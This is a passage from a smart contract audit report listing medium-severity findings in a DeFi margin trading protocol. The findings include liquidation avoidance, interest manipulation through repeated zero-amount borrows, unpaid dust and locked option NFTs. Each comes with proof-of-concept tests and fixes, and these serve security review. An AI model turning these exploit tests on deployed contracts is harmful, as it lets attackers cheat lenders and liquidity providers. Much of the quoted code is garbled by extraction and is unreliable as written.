1. All collateral balances owned by the `marginAccount` are retrieved in the code line `MarginAccount#L221-L231`.
2. Assets are liquidated for USDC through the `ModularSwapRouter::liquidate` function, converting the account's holdings into a more liquid form. Code line `MarginAccount#L233`.
3. Debts in corresponding `LiquidityPools` are cleared in the code line `MarginAccount#L237`, using the USDC acquired from liquidation (step 2). If debts exceed the liquidation proceeds, additional funds are drawn from the `insurancePool` to cover the shortfall (`MarginAccount#L293`).

The problem is that there is no incentive for calling the `MarginTrading::liquidate` function, which is crucial for maintaining the financial health of the system. The lack of incentives for initiating liquidation poses several risks:

1. If the value of collateral within a margin account sharply declines, and liquidation is not triggered in a timely manner, the account may become insolvent, **threatening the solvency of the `InsurancePool` contract**.
2. Delayed liquidation increases exposure to financial risk, particularly as market conditions fluctuate, potentially degrading the collateral's value further.
3. Simultaneous insolvencies across multiple accounts could destabilize the entire system, highlighting the critical nature of proactive liquidation management.

Recommendations

It is advisable to implement incentives for liquidators. This could involve adjusting the liquidation process to offer a percentage of the liquidated assets to the caller, ensuring debts are covered while also providing a reward for managing systemic risk effectively.

[M-03] Potential avoidance of liquidation

Severity

Impact: High

Likelihood: Low

Description

Users can deposit ERC721 tokens using the `MarginTrading::provideERC721` function, which can then be used as collateral for borrowing. Additionally, users can execute the `MarginTrading::exercise` function to convert their ERC721 into `baseToken` value, crediting the respective `marginAccount`.

The issue arises when a malicious user deposits ERC721 tokens that are invalid within the protocol context; i.e., they are inactive, expired, or worthless:

```
File: HegicModule.sol
68:     function checkValidityERC721(uint id) external returns(bool) {
69:         if (getPayOffAmount(id) > 0 && isOptionActive
  (id) && getExpirationTime(id) > block.timestamp) {
70:             return true;
71:         }
72:     }
```

Consider the following scenario:

1. A user deposits several invalid ERC721 tokens (that pay nothing, are inactive, or have expired) using the `MarginTrading::provideERC721`.
2. The user is eligible for liquidation, and a liquidator invokes the `MarginTrading::liquidate` function, which retrieves the ERC721 tokens at `MarginAccount#L228`:

```
File: MarginAccount.sol
217:     function liquidate(
  uintmarginAccountID,
  addressbaseToken,
  addressmarginAccountOwner
) external onlyRole(MARGIN_TRADING_ROLE
...
...
227:         for(uint i; i < availableErc721.length; i++) {
228:
               uint[] memory erc721TokensByContract = erc721ByContract[marginAccountID
229:             erc721Params[i] = IModularSwapRouter.ERC721PositionInfo
  (availableErc721[i], baseToken, marginAccountOwner, erc721TokensByContract);
230:             delete erc721ByContract[marginAccountID][availableErc721[i]];
231:         }
...
...
238:     }
```

3. Each token ID is then individually checked in `HegicModule#L46`:

```
File: HegicModule.sol
45:     function liquidate(
  uint[]memoryvalue,
  addressholder
) external onlyRole(MODULAR_SWAP_ROUTER_ROLE
46:         for (uint i; i < value.length; i++) {
47:             if (getPayOffAmount(value[i]) > 0 && isOptionActive
  (value[i]) && getExpirationTime(value[i]) > block.timestamp) {
48:                 uint profit = getOptionValue(value[i]);
49:                 hegicPositionManager.transferFrom(marginAccount, address
  (this), value[i]);
50:                 operationalTreasury.payOff(value[i], marginAccount);
51:                 amountOut += assetExchangerUSDCetoUSDC.swapInput(profit, 0);
52:                 hegicPositionManager.transferFrom(address
  (this), holder, value[i]);
53:             }
54:         }
55:     }
```

This results in the liquidation process being more costly and complex as the user introduces more invalid token IDs.

The following test demonstrates how a token ID that was exercised can be reintroduced into the `MarginAccount`, which is unnecessary as the token ID will not be usable in future liquidations nor can it be withdrawn (This is an example of how a user can obtain invalid ERC721s; they may obtain invalid ERC721s from another source):

```
describe("Exercise: provide exercised ERC721", async () => {
    let optionId: bigint
    let marginAccountID: bigint
    it("exercise: provide exercised ERC721", async () => {
      //
      // 1. Provide ERC721 to the marginAccount
      await c.MarginAccountManager.connect(c.deployer).createMarginAccount()
      optionId = BigInt(0)
      marginAccountID = BigInt(0)
      await c.MarginTrading.connect(c.deployer).provideERC721(
        marginAccountID,
        await c.HegicPositionsManager.getAddress(),
        optionId)
      expect(await c.HegicPositionsManager.ownerOf(optionId)).to.be.eq
        (await c.MarginAccount.getAddress());
      //
      // 1. Excercise a ERC721

      expect(await c.MarginAccount.getErc20ByContract
        (marginAccountID, c.USDC.getAddress())).to.be.eq(BigInt(0))
      expect(await c.MarginAccount.getErc721ByContract(
        marginAccountID, c.HegicPositionsManager.getAddress())).to.be.eql
          ([BigInt(0)])
      await c.MarginTrading.connect(c.deployer).exercise(
        marginAccountID, await c.HegicPositionsManager.getAddress(), optionId)
      expect(await c.MarginTrading.calculateMarginAccountValue.staticCall
        (marginAccountID)).to.be.eq(marginAccountValue)
      expect(await c.MarginAccount.getErc20ByContract
        (marginAccountID, c.USDC.getAddress())).to.be.eq(marginAccountValue)
      expect(await c.MarginAccount.getErc721ByContract
        (marginAccountID, c.HegicPositionsManager.getAddress())).to.be.eql([])
      //
      // 2. Provide again the same exercised ERC721 to the marginAccount
      expect(await c.HegicPositionsManager.ownerOf(optionId)).to.be.eq
        (await c.deployer.getAddress());
      await c.HegicPositionsManager.approve(await c.MarginAccount.getAddress
        (), optionId)
      await c.MarginTrading.connect(c.deployer).provideERC721(
        marginAccountID,
        await c.HegicPositionsManager.getAddress(),
        optionId)
      //
      // 3. MarginAccount has an exercised ERC721 that is unusable. Additionally
      // the ERC721 can't be withdrawn
      expect(await c.MarginAccount.getErc721ByContract(
        marginAccountID, c.HegicPositionsManager.getAddress())).to.be.eql
          ([BigInt(0)])
      expect(await c.HegicPositionsManager.ownerOf(optionId)).to.be.eq
        (await c.MarginAccount.getAddress());
      await expect(
        c.MarginTrading.connect(c.deployer).withdrawERC721(
          marginAccountID, await c.HegicPositionsManager.getAddress(), optionId)
      ).to.be.revertedWith("token id is not valid")
    })
  })
```

Recommendations

It is recommended that `MarginTrading::provideERC721` only accept token IDs that are valid:

```
File: MarginTrading.sol
    function provideERC721(
      uintmarginAccountID,
      addresstoken,
      uintcollateralTokenID
    ) external nonReentrant onlyApprovedOrOwner(marginAccountID
++      require(modularSwapRouter.checkValidityERC721
+ (token, BASE_TOKEN, collateralTokenID), "token id is not valid");
        marginAccount.provideERC721
          (marginAccountID, msg.sender, token, collateralTokenID, BASE_TOKEN);

        emit ProvideERC721
          (marginAccountID, msg.sender, token, collateralTokenID);
    }
```

[M-04] Liquidity pool interest accrual can be manipulated

Severity

Impact: Medium

Likelihood: Medium

Description

On each call to the `borrow` method of the `LiquidityPool` contract, the subsequent `_fixAccruedInterest` method is invoked which updates the `totalBorrowsSnapshotTimestamp` to the current `block.timestamp`. In case of frequent calls, this causes the `ownershipTime` in the `totalBorrows` method to have a low value (worst case: 1) which in turn leads to a precision loss in the final `totalBorrows` / interest snapshot computation. Therefore, the resulting pool interest is understated.

An adversary could abuse the above behavior by frequently invoking the `borrow` method, through the `MarginTrading` contract, with a zero amount to manipulate the pool's interest accrual leading to the following impacts:

- When the adversary is also a borrower, a reduction of the interest amount to repay can be achieved. In case of a high borrow interest amount and due to the low transaction fees on L2, this can be profitable.
- Pool providers can be griefed by denying them their expected return on investment due to the reduced interest.

```
function totalBorrows() public view returns (uint) {
    uint ownershipTime = block.timestamp - totalBorrowsSnapshotTimestamp;  //
    // @audit is 1 in worst case on repeated calls
    uint precision = 10 ** 18;
    UD60x18 temp = div(
        convert(
            ((INTEREST_RATE_COEFFICIENT + interestRate) *
                precision) / INTEREST_RATE_COEFFICIENT
        ),
        convert(precision)
    );
    return
        ((netDebt + totalInterestSnapshot) *
            intoUint256(pow(temp, div(convert(ownershipTime), convert
            //(ONE_YEAR_SECONDS))))) / 1e18;  // @audit precision loss on low 'ownersh
}

function _fixAccruedInterest() private returns (uint) {
    uint newTotalBorrows = totalBorrows
    //();  // @audit updates with understated value in case of lost precision
    totalInterestSnapshot = newTotalBorrows - netDebt;
    totalBorrowsSnapshotTimestamp = block.timestamp;
    return newTotalBorrows;
}
```

Proof of Concept

Please add the following test case to `liquidity_pool.spec.ts` in order to reproduce the above interest manipulation attack.

```
it.only(
  "Expectinteresttobecorrectlyaccrueddespiterepeatedcallstoborrowwithzeroamount",
  asyncfunction
) {
await USDC
  .connect(firstInvestor).transfer(await marginTrading.getAddress
    (), ethers.parseUnits("50", 6));

// Investor provides 3000 USDC to pool
const amountFirstInvestor = ethers.parseUnits("3000", 6);
await USDC
  .connect(firstInvestor)
  .approve(liquidityPoolUSDC.getAddress(), amountFirstInvestor);
await liquidityPoolUSDC
  .connect(firstInvestor)
  .provide(amountFirstInvestor);

// Trader borrows 1000 USDC
const firstTraderDebtAmount = ethers.parseUnits("1000", 6);
await marginTrading
  .connect(firstTrader)
  .borrow(ethers.parseUnits("1", 0), firstTraderDebtAmount);

const timeBefore = await time.latest();
// OK case: Wait 1h
// await time.increaseTo(await time.latest() + 60 * 60);
// .. or ..
// Manipulated case: Trader borrows with zero amount for 1h
for (let i = 0; i < 60 * 60; i++) {
  await marginTrading
    .connect(firstTrader)
    .borrow(ethers.parseUnits("1", 0), 0);
}
const timeAfter = await time.latest();
// Benchmark elapsed time to make sure both cases take equally long
console.log(timeAfter - timeBefore);

// Trader repays entire debt
const returnAmount = await liquidityPoolUSDC.getDebtWithAccruedInterestOnTime
  (ethers.parseUnits("1", 0), await time.latest() + 1);
await marginTrading.connect(firstTrader).repay(
    ethers.parseUnits("1", 0),
    returnAmount, // repayment of the entire debt, it is expected that
    // MarginTrading will independently call this function
    await USDC.getAddress(),
    returnAmount
  );

// Expect interest to be correctly accrued
const accruedInterest = returnAmount - firstTraderDebtAmount;
expect(accruedInterest).to.equal(ethers.parseUnits("5571", 0));
});
```

This test case is intended to fail in order to reveal the resulting reduction of accrued interest by ~35% when compared to the expected behavior.

Recommendations

It is suggested to `require` non-zero amounts in the `borrow` method to reduce the economical feasibility of the preset attack vector.

[M-05] Borrowers can be left with debt shares after full repayment

Severity

Impact: Low

Likelihood: High

Description

Borrowers can be left with debt shares after full repayment of their debt. This is due to the calculation of the `shareChange` value rounding down.

```
File: LiquidityPool.sol

155:     function repay(uint marginAccountID, uint amount) external onlyRole
  (MARGIN_ACCOUNT_ROLE) {
(...)
164:  @>     uint shareChange =
//(amount * debtSharesSum) / newTotalBorrows; // Trader's share to be given away
165:         uint profit =
  (accruedInterest * shareChange) / shareOfDebt[marginAccountID];
166:         uint profitInsurancePool =
  (profit * insuranceRateMultiplier) / INTEREST_RATE_COEFFICIENT;
167:
           totalInterestSnapshot -= totalInterestSnapshot * shareChange / debtSharesSu
168:         debtSharesSum -= shareChange;
169:         shareOfDebt[marginAccountID] -= shareChange;
```

Proof of concept

```
function test_borrowerKeepsDebtSharesAfterRepay() public {
    provideInitialLiquidity();

    vm.startPrank(alice);
    marginTrading.provideERC20(marginAccountID[alice], address(USDC), 10_000e6);
    marginTrading.provideERC20(marginAccountID[alice], address(WETH), 1e18);
    marginTrading.borrow(marginAccountID[alice], address(WETH), 1e18);
    vm.stopPrank();

    vm.startPrank(bob);
    marginTrading.provideERC20(marginAccountID[bob], address(USDC), 10_000e6);
    marginTrading.borrow(marginAccountID[bob], address(WETH), 0.1e18);
    vm.stopPrank();

    skip(10);

    // Alice repays all debt plus interest
    vm.startPrank(alice);
    marginTrading.repay(marginAccountID[alice], address(WETH), 2e18);

    // Alice keeps debt shares after full repayment
    uint256 aliceDebtAmount = liquidityPoolWETH.portfolioIdToDebt
      (marginAccountID[alice]);
    uint256 aliceDebtShares = liquidityPoolWETH.shareOfDebt
      (marginAccountID[alice]);
    assert(aliceDebtAmount == 0);
    assert(aliceDebtShares > 0);
}
```

Recommendations

It is recommended to reevaluate the need for tracking both individual debt amounts and individual debt shares, as they can create discrepancies in valuations and lead to unexpected behavior.

[M-06] Borrowers can leave unpaid dust

Severity

Impact: Low

Likelihood: High

Description

`withdrawERC20`, `withdrawERC721`, `borrow` and `liquidate` functions in `MarginTrading` contract calculate the portfolio ratio to check if the account is undercollateralized. This ratio is calculated by dividing the value of the assets held by the account by the value of the debt, both denominated in the base currency (USDC).

```
File: MarginTrading.sol

196:     function _calculatePortfolioRatio(
  uintmarginAccountValue,
  uintdebtWithAccruedInterest
) private pure returns (uint marginAccountRatio
197:         if (debtWithAccruedInterest == 0) {
198:             return 0;
199:         }
200:         require(
  marginAccountValue*COEFFICIENT_DECUMALS>debtWithAccruedInterest,
  "MarginAccountvalueshouldbegreaterthandebtwithaccruedinterest"
);
201:
            marginAccountRatio = marginAccountValue*COEFFICIENT_DECUMALS/debtWithAccrue
202:     }
```

For its part, `debtWithAccruedInterest` is calculated by iterating over the different tokens that the account has borrowed, converting the due amount to the base token and summing the resulting values.

```
File: ModularSwapRouter.sol

82:     function calculateTotalPositionValue(
  ERC20PositionInfo[]memoryerc20Params,
  ERC721PositionInfo[]memoryerc721Params
)
83:         external
84:         onlyRole(MARGIN_TRADING_ROLE)
85:         returns (uint totalValue)
86:     {
87:         address marginTradingBaseToken = marginTrading.BASE_TOKEN();
88:         for (uint i; i < erc20Params.length; i++) {
89:
               address moduleAddress = tokenInToTokenOutToExchange[erc20Params[i].toke
90:             if (
91:                 erc20Params[i].tokenIn == marginTradingBaseToken &&
92:                 erc20Params[i].tokenOut == marginTradingBaseToken
93:             ) {
94:                 totalValue += erc20Params[i].value;
95:             } else if (moduleAddress != address(0)) {
96:   @>            totalValue += IPositionManagerERC20
  (moduleAddress).getInputPositionValue(erc20Params[i].value);
97:             }
98:         }
```

`getInputPositionValue` returns the value of the debt for a given token, expressed in the base token. For small amounts of debt tokens, this conversion can round down to zero, effectively valuing the debt at zero, so the user can withdraw the collateral without repaying the remaining debt.

While this amount is small, it can keep accruing over time by different users and tokens.

Proof of concept

```
function test_borrowerLeavesUnpaidDust() public {
    uint256 collateralAmount = 10_000e6;
    uint256 borrowAmount = 1e18;
    uint256 dustAmount = 249_999_999;

    provideInitialLiquidity();

    vm.startPrank(alice);
    marginTrading.provideERC20(marginAccountID[alice], address
      (USDC), collateralAmount);

    // Alice borrows 1 WETH
    marginTrading.borrow(marginAccountID[alice], address(WETH), borrowAmount);

    // Alice repays debt and interest
    marginTrading.repay(marginAccountID[alice], address
      (WETH), borrowAmount - dustAmount);

    // Alice withdraws collateral and dust
    marginTrading.withdrawERC20(marginAccountID[alice], address
      (USDC), collateralAmount);
    marginTrading.withdrawERC20(marginAccountID[alice], address
      (WETH), dustAmount);
}
```

Recommendations

A possible solution is checking that the pending debt valued in the debt token is also zero before allowing the user to withdraw all the collateral.

[M-07] New liquidity providers are unfairly charged

Severity

Impact: Low

Likelihood: High

Description

When a user provides liquidity to `LiquidityPool` the total liquidity is calculated as the sum of the pool token balance and the total borrows. The total borrows include the net debt and the accrued interest. However, it is not taken into account that a percentage of the interest is sent to the insurance pool.

By including the interest sent to the insurance pool in the total liquidity calculation, part of this amount is subtracted from the share of the new

liquidity providers.

```
File: LiquidityPool.sol

097:     function provide(uint amount) external nonReentrant {
098:  @>     uint totalLiquidity = getTotalLiquidity();
099:         require(
100:             totalLiquidity + amount <= maximumPoolCapacity,
101:             "Maximum liquidity has been achieved!"
102:         );
103:         poolToken.transferFrom(msg.sender, address(this), amount);
104:         uint shareChange = totalLiquidity > 0
105:             ? (depositShare * amount) / totalLiquidity
106:             : (amount * 10 ** decimals()) / 10 ** poolToken.decimals
(...)
214:     function totalBorrows() public view returns (uint) {
215:
           uint ownershipTime = block.timestamp - totalBorrowsSnapshotTimestamp;
216:         uint precision = 10 ** 18;
217:         UD60x18 temp = div(
218:             convert(
219:                 ((INTEREST_RATE_COEFFICIENT + interestRate) *
220:                     precision) / INTEREST_RATE_COEFFICIENT
221:             ),
222:             convert(precision)
223:         );
224:         return
225:             ((netDebt + totalInterestSnapshot) *
226:                 intoUint256(pow(temp, div(convert(ownershipTime), convert
  (ONE_YEAR_SECONDS))))) / 1e18;
227:     }
228:
229:     function getTotalLiquidity() public view returns (uint) {
230:  @>     return poolToken.balanceOf(address(this)) + totalBorrows();
231:     }
```

Take the following example:

- Provider A deposits 10 WETH in the pool and receives 10 LP tokens
- Borrower borrows 5 WETH and interest accrues over time, reaching another 5 WETH
- Provider B provides 15 WETH
- `totalLiquidity` is 5 WETH (contract balance) + 5 WETH (net debt) + 5 WETH (accrued interest) = 15 WETH
- Provider B receives `(depositShare * amount) / totalLiquidity` = 10 LP * 15 WETH / 15 WETH = 10 LP
- Borrower repays the 5 WETH debt and the 5 WETH interest, and 1 WETH goes to the insurance pool
- Provider B withdraws his 10 LP
- `totalLiquidity` is 29 WETH (contract balance)
- Provider B receives `(amount * totalLiquidity) / depositShare` = 10 LP * 29 WETH / 20 LP = 14.5 WETH
- Provider B has lost 0.5 WETH
- Provider A withdraws his 10 LP and receives 14.5 WETH
- Provider A should have received 14 WETH (10 WETH deposited + 4 WETH interest), however he received 0.5 extra WETH taken from Provider B

Proof of concept

```
function test_newLpIsChargedForInsuranceFee() public {
    // Alice provides 10 WETH
    vm.prank(alice);
    liquidityPoolWETH.provide(1e18);

    // Bob borrows 1 WETH
    vm.startPrank(bob);
    marginTrading.provideERC20(marginAccountID[bob], address
      (USDC), 1_000_000e6);
    marginTrading.borrow(marginAccountID[bob], address(WETH), 0.8e18);
    vm.stopPrank();

    // Interest accrues over time
    skip(60 * 60 * 24 * 365);

    // Charlie provides 1 WETH
    vm.prank(charlie);
    liquidityPoolWETH.provide(1e18);
    uint256 charlieLpTokens = liquidityPoolWETH.balanceOf(address(charlie));

    // Bob repays principal and interest
    uint256 bobTotalDebt = liquidityPoolWETH.getDebtWithAccruedInterest
      (marginAccountID[bob]);
    vm.startPrank(bob);
    marginTrading.provideERC20(marginAccountID[bob], address
      (WETH), bobTotalDebt - 0.1e18);
    marginTrading.repay(marginAccountID[bob], address(WETH), bobTotalDebt);
    vm.stopPrank();

    // Charlie withdraws all from liquidity pool, receiving less WETH than his
    // original deposit
    uint256 charlieWETHBalance = WETH.balanceOf(address(charlie));
    vm.prank(charlie);
    liquidityPoolWETH.withdraw(charlieLpTokens);
    uint256 charlieWETHReceived = WETH.balanceOf(address
      (charlie)) - charlieWETHBalance;
    assert(charlieWETHReceived < 0.9991e18);
}
```

Recommendations

Exclude the fee sent to the insurance pool from the calculation of the total liquidity in the `provide` and `withdraw` functions.

[M-08] Option NFTs that go in the money after liquidation can be locked

Severity

Impact: High

Likelihood: Low

Description

The liquidation of option NFTs is handled in `HegicModule.liquidate`. This function loops over all the token ids and processes the liquidation if the option is in the money, active and not expired. At the end of this processing the NFT is transferred back to the account's owner. This means that in case the option is not in the money, not active or expired, the NFT remains in `MarginAccount` contract.

```
File: HegicModule.sol

45:     function liquidate(
  uint[]memoryvalue,
  addressholder
) external onlyRole(MODULAR_SWAP_ROUTER_ROLE
46:         for (uint i; i < value.length; i++) {
47:     @>      if (getPayOffAmount(value[i]) > 0 && isOptionActive
  (value[i]) && getExpirationTime(value[i]) > block.timestamp) {
48:                 uint profit = getOptionValue(value[i]);
49:                 hegicPositionManager.transferFrom(marginAccount, address
  (this), value[i]);
50:                 operationalTreasury.payOff(value[i], marginAccount);
51:                 amountOut += assetExchangerUSDCetoUSDC.swapInput(profit, 0);
52:     @ >         hegicPositionManager.transferFrom(address
  (this), holder, value[i]);
53:             }
54:         }
55:     }
```

However, in the `MarginAccount.liquidate` function, the NFTs are deleted from the mapping `erc721ByContract` of the account being liquidated.

```
File: MarginAccount.sol

217:     function liquidate(
  uintmarginAccountID,
  addressbaseToken,
  addressmarginAccountOwner
) external onlyRole(MARGIN_TRADING_ROLE
(...)
227:         for(uint i; i < availableErc721.length; i++) {
228:
               uint[] memory erc721TokensByContract = erc721ByContract[marginAccountID
229:             erc721Params[i] = IModularSwapRouter.ERC721PositionInfo
  (availableErc721[i], baseToken, marginAccountOwner, erc721TokensByContract);
230:   @>        delete erc721ByContract[marginAccountID][availableErc721[i]];
231:         }
```

It is possible that the option has not yet expired and is out of the money, but before the expiration time, the payoff goes positive. In this case, the profit from the option is lost, as the NFT is not credited to any account.

> Note: A different issue describes the lack of a check for ownership of the NFT when `exercise` is called, so anyone will be able to exercise

the option. However, this is clearly not the intended behavior, and the NFT will be locked once that check is implemented.

Proof of concept

```
function test_nftLockedOnLiquidation() public {
    provideInitialLiquidity();
    hegicStrategy.setPayOffAmount(optionID[alice], 0);

    // Setup for liquidatable account
    vm.startPrank(alice);
    marginTrading.provideERC20(marginAccountID[alice], address(WETH), 1e18);
    marginTrading.provideERC721(marginAccountID[alice], address
      (hegicPositionsManager), optionID[alice]);
    marginTrading.borrow(marginAccountID[alice], address(USDC), 3_500e6);
    marginTrading.withdrawERC20(marginAccountID[alice], address(USDC), 3_500e6);
    vm.stopPrank();
    quoter.setSwapPrice(address(WETH), address(USDC), 3_000e6);

    // Liquidate
    marginTrading.liquidate(marginAccountID[alice]);

    // Option pay off goes positive and is still locked and not expired
    hegicStrategy.setPayOffAmount(optionID[alice], 1_000e6);
    (IOperationalTreasury.LockedLiquidityState state, , , , uint32 expiration)
        = operationTreasury.lockedLiquidity(optionID[alice]);
    assert(state == IOperationalTreasury.LockedLiquidityState.Locked);
    assert(expiration > block.timestamp);

    // NFT is still owned by MarginAccount and is not credited to Alice, so
    // cannot be withdrawn
    assert(hegicPositionsManager.ownerOf(optionID[alice]) == address
      (marginAccount));
    assert(marginAccount.getErc721ByContract(marginAccountID[alice], address
      (hegicPositionsManager)).length == 0);
}
```

Recommendations

There are different approaches depending on the desired behavior.

1. Transfer the NFT back to the account's owner in any situation.

```
function liquidate(uint[] memory value, address holder) external onlyRole
      (MODULAR_SWAP_ROUTER_ROLE) returns(uint amountOut) {
        for (uint i; i < value.length; i++) {
            if (getPayOffAmount(value[i]) > 0 && isOptionActive
              (value[i]) && getExpirationTime(value[i]) > block.timestamp) {
                uint profit = getOptionValue(value[i]);
                hegicPositionManager.transferFrom(marginAccount, address
                  (this), value[i]);
                operationalTreasury.payOff(value[i], marginAccount);
                amountOut += assetExchangerUSDCetoUSDC.swapInput(profit, 0);
-               hegicPositionManager.transferFrom(address
- (this), holder, value[i]);
            }
+           hegicPositionManager.transferFrom(address(this), holder, value[i]);
        }
    }
```

2. Credit the NFT to the insurance pool address so that it can exercise the option in case it goes in the money.

3. Transfer the NFT to the account's owner only if all the debts have been cleared without pooling funds from the insurance pool and transfer the NFT to the insurance pool address otherwise.

[M-09] Positions with very low portfolio ratio cannot be liquidated

Severity

Impact: High

Likelihood: Low

Description

In `MarginTrading.sol`, the `_calculatePortfolioRatio` function calculates the ratio between the margin account value and the debt with accrued interest. In case the margin account value is 5 orders of magnitude lower than the debt accrued, this function reverts.

```
File: MarginTrading.sol

196:     function _calculatePortfolioRatio(
  uintmarginAccountValue,
  uintdebtWithAccruedInterest
) private pure returns (uint marginAccountRatio
197:         if (debtWithAccruedInterest == 0) {
198:             return 0;
199:         }
200:    @>     require(
  marginAccountValue*COEFFICIENT_DECUMALS>debtWithAccruedInterest,
  "MarginAccountvalueshouldbegreaterthandebtwithaccruedinterest"
);
201:
            marginAccountRatio = marginAccountValue*COEFFICIENT_DECUMALS/debtWithAccrue
202:     }
```

As the function is executed in the `liquidate` function, the liquidation of positions with very low portfolio ratios is not possible, locking the remaining collateral in the contract.

```
File: MarginTrading.sol

181:     function liquidate(uint marginAccountID) external {
182:   @>    require(getMarginAccountRatio(
  getMarginAccountRatio

) <= redCoeff, "Margin Account ratio is too high to execute liquidation"
```

Recommendations

```
File: MarginTrading.sol

-       if (portfolioRatio != 0) {
            require(portfolioRatio > yellowCoeff, "portfolioRatio is too low");
-       }

(...)

-       if (portfolioRatio != 0) {
            require(portfolioRatio > yellowCoeff, "portfolioRatio is too low");
-       }

(...)

    function _calculatePortfolioRatio(
      uintmarginAccountValue,
      uintdebtWithAccruedInterest
    ) private pure returns (uint marginAccountRatio
        if (debtWithAccruedInterest == 0) {
-           return 0;
+           return type(uint256).max;
        }
-        require
- (marginAccountValue*COEFFICIENT_DECUMALS > debtWithAccruedInterest, "Margin Account

                marginAccountRatio = marginAccountValue*COEFFICIENT_DECUMALS/debtWith
    }
```

[M-10] User could potentially avoid liquidation

Severity

Impact: High

Likelihood: Low

Description

Users could provide position NFTs to their margin account using the provideERC721 function, after transferring from the user address NFT would

be approved for the appropriate module:

```
File: MarginAccount.sol
176:     function provideERC721(
  uintmarginAccountID,
  addresstxSender,
  addresstoken,
  uintcollateralTokenID,
  addressbaseToken
) external onlyRole(MARGIN_TRADING_ROLE
177:         require(
  isAvailableErc721[token],
  "Tokenyouareattemptingtodepositisnotavailablefordeposit"
);
178:         erc721ByContract[marginAccountID][token].push(collateralTokenID);
179:         IERC721(token).transferFrom(txSender, address
  (this), collateralTokenID);
180:         IERC721(token).approve(modularSwapRouter.getModuleAddress
  (token, baseToken), collateralTokenID);
181:     }
```

This approval is needed for the successful execution and liquidation of positions in `HegicModule` at lines 49 and 60:

```
File: HegicModule.sol
45:     function liquidate(
  uint[]memoryvalue,
  addressholder
) external onlyRole(MODULAR_SWAP_ROUTER_ROLE
46:         for (uint i; i < value.length; i++) {
47:             if (getPayOffAmount(value[i]) > 0 && isOptionActive
  (value[i]) && getExpirationTime(value[i]) > block.timestamp) {
48:                 uint profit = getOptionValue(value[i]);
49:                 hegicPositionManager.transferFrom(marginAccount, address
  (this), value[i]);
50:                 operationalTreasury.payOff(value[i], marginAccount);
51:                 amountOut += assetExchangerUSDCetoUSDC.swapInput(profit, 0);
52:                 hegicPositionManager.transferFrom(address
  (this), holder, value[i]);
53:             }
54:         }
55:     }
56:
57:     function exercise(uint id) external onlyRole
  (MODULAR_SWAP_ROUTER_ROLE) returns(uint amountOut) {
58:         require(getPayOffAmount(id) > 0 && isOptionActive(
  getPayOffAmount
) > 0 && isOptionActive
  (id
59:         uint profit = getOptionValue(id);
60:         hegicPositionManager.transferFrom(marginAccount, address(this), id);
61:         operationalTreasury.payOff(id, marginAccount);
62:         amountOut = assetExchangerUSDCetoUSDC.swapInput(profit, 0);
63:         hegicPositionManager.transferFrom(address(this), marginAccount, id);
64:     }
```

However, these functions would be DOSed in two cases:

1. If the NFT address is already added to the `isAvailableErc721` in the `MarginAccount` contract, but the corresponding module address is not yet set in the `ModularSwapRouter`. This would lead to the approval call for the zero address.
2. If the module address was updated in the `ModularSwapRouter` from the time when the user initially provided NFT.

Recommendations

Consider adding a check that the module address is not a zero value. Also, consider moving the approval call into the `liquidate` and `exercise` functions to ensure that the token would be approved even if the module address was updated after the initial deposit.

[M-11] Debt calculation should be rounded up during repayment

Severity

Impact: Low

Likelihood: High

Description

In case of partial repayment of the debt `LiquidityPool#repay` function calculates the user's debt that is left based on current debt and amount of repayment (line 171):

```
File: LiquidityPool.sol
155:     function repay(uint marginAccountID, uint amount) external onlyRole
  (MARGIN_ACCOUNT_ROLE) {
156:         uint newTotalBorrows = totalBorrows();
157:         uint newTotalInterestSnapshot = newTotalBorrows - netDebt;
158:         uint accruedInterest =
//(newTotalInterestSnapshot * shareOfDebt[marginAccountID]) / debtSharesSum; // Accrue
159:         uint debt = portfolioIdToDebt[marginAccountID] + accruedInterest;
160:         if (debt < amount) {
161:             // If you try to return more tokens than were borrowed, the
// required amount will be taken to repay the debt, the rest will remain untouched
162:             amount = debt;
163:         }
164:         uint shareChange =
//(amount * debtSharesSum) / newTotalBorrows; // Trader's share to be given away
165:         uint profit =
  (accruedInterest * shareChange) / shareOfDebt[marginAccountID];
166:         uint profitInsurancePool =
  (profit * insuranceRateMultiplier) / INTEREST_RATE_COEFFICIENT;
167:
           totalInterestSnapshot -= totalInterestSnapshot * shareChange / debtSharesSu
168:         debtSharesSum -= shareChange;
169:         shareOfDebt[marginAccountID] -= shareChange;
170:         if (debt > amount) {
171:             uint tempDebt = (portfolioIdToDebt[marginAccountID] *
  (debt - amount)) / debt;
172:             netDebt = netDebt -
  (portfolioIdToDebt[marginAccountID] - tempDebt);
173:             portfolioIdToDebt[marginAccountID] = tempDebt;
174:         } else {
175:             netDebt -= portfolioIdToDebt[marginAccountID];
176:             portfolioIdToDebt[marginAccountID] = 0;
177:         }
178:         poolToken.transferFrom(msg.sender, address(this), amount);
179:         if (profitInsurancePool > 0) {
180:             poolToken.transfer(insurancePool, profitInsurancePool);
181:         }
182:
183:         emit Repay(marginAccountID, amount, profit);
184:     }
```

However, this calculation is rounded down, which means that users could repay less debt each time for some dust amount. This dust would accumulate into pool depositors' losses.

Recommendations

Consider rounding up the `tempDebt` variable in the `LiquidityPool#repay` function.

[M-12] Potential asset loss during liquidation

Severity

Impact: Medium

Likelihood: Medium

Description

In the liquidation process of a `MarginAccount`, when repaying debts to `LiquidityPools` using the `_clearDebtsWithPools` function, `UniswapModule::swapInput#L291` is invoked to convert the user's USDC into the required liquidity pool token:

```
File: MarginAccount.sol
283:     function _clearDebtsWithPools
  (uint marginAccountID, address baseToken) private {
284:         for (uint i; i < availableTokenToLiquidityPool.length; i++) {
285:
               address liquidityPoolAddress = tokenToLiquidityPool[availableTokenToLiq
286:             uint poolDebt = ILiquidityPool
  (liquidityPoolAddress).getDebtWithAccruedInterest(marginAccountID);
287:             if (poolDebt != 0) {

289:                 uint userUSDCbalance = getErc20ByContract
  (marginAccountID, baseToken);
290:                 if (amountInUSDC > userUSDCbalance) {
291:                     uint amountOut = modularSwapRouter.swapInput
  (baseToken, availableTokenToLiquidityPool[i], userUSDCbalance, 0);
292:
                       erc20ByContract[marginAccountID][baseToken] -= userUSDCbalance;
293:                     IERC20(availableTokenToLiquidityPool[i]).transferFrom
  (insurancePool, address(this), poolDebt-amountOut);
294:                 } else {
295:                     uint amountIn = modularSwapRouter.swapOutput
  (baseToken, availableTokenToLiquidityPool[i], poolDebt);
296:
                       erc20ByContract[marginAccountID][baseToken] -= amountIn;
297:                 }
298:                 ILiquidityPool(liquidityPoolAddress).repay
  (marginAccountID, poolDebt);
299:             }
300:         }
301:     }
```

